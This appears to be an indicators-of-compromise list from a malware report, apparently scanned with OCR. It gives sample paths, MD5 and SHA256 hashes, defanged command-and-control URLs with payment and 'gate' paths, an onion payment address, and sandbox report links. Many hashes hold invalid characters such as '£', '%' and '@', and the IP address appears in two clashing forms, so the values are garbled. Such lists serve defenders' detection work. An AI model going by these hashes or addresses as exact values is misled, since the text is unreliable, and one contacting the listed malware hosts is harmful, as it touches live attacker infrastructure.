ch/sample/bf6e5f9d060ebc5bb70144cabe795bfc249c6590ab9f45e258ec9b5f3d49eebb/
ch/sample/8da469200a4b3899b23a34232eec53712c621aa3c8766a9745d8ff721ef5296/

.ch/sample/b1bcc54ef15f91d9291357ecal2862174bd6158e95813eff1ablc16bad8ff10e/

79385ed97732aee0036e67824de18e28
t4009abe9t41dad1e48340c96e29d62c
fadc4ac8h9c1b14951ae8add855f34e8
£188cf267d209a0209a25bdadbb75b86
5a63e7d371dd69c5625f5b48da426c14
ch3a1463f4fd3e74b8f1cabe73b81816
7e415d5a1b1235491cb698eb14817d31

SHA256:

8d684a790a5683b8decde9fb5a819c4a164d3032723a151a30ff26d3c2bTaabf
6db3aae21a6d80857c85158c4c8b2cfIchb78h8a%ab1d5496d18eafIbd0bda
bf6e5f9d060ebc5bb70144cabe795bfc249c6590ab9f45e258ec9b5f3d49eehb
027d9922aab803a07d07cedbalfab6964388129d3b26dct8621a3310692b0ab1
bTbcc54ef15f91d9291357ecab2862174bd6158e95813eff1ab@c16bad8ff10e
8da469200a4b3899b23a34232eec537f12c621aa3c8766a9745d8f1721ef5296
a7e27cc38a39ff242da39d05e04b95ea9h656829dfe2e90e8226351da8813d7d

URLs:

http://217.8.117[.126/pay
http://217.8.117[.]26/gateinfo
http://217.8.117[.]126/gatedrivers
http://4dnd3utjsmm2zcsb[ . Jonion/pay

IPs:

217.8.117[. 126

Tria.ge Sandbox reports:

https://tria.ge/reports/200724-gmz55kbvr2/behaviorall
https://tria.ge/reports/200724-2v2mzfsjwx/behaviorall
https://tria.ge/reports/200724-kfjg2xf1b2/behaviorall
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https://tria.ge/reports/200724-64r1s1gjl2/behaviorall
https://tria.ge/reports/200724-b5zwteacds/behaviorall
https://tria.ge/reports/200724-15z7parj4x/behaviorall
https://tria.ge/reports/200724-zxydprrjys/behaviorall
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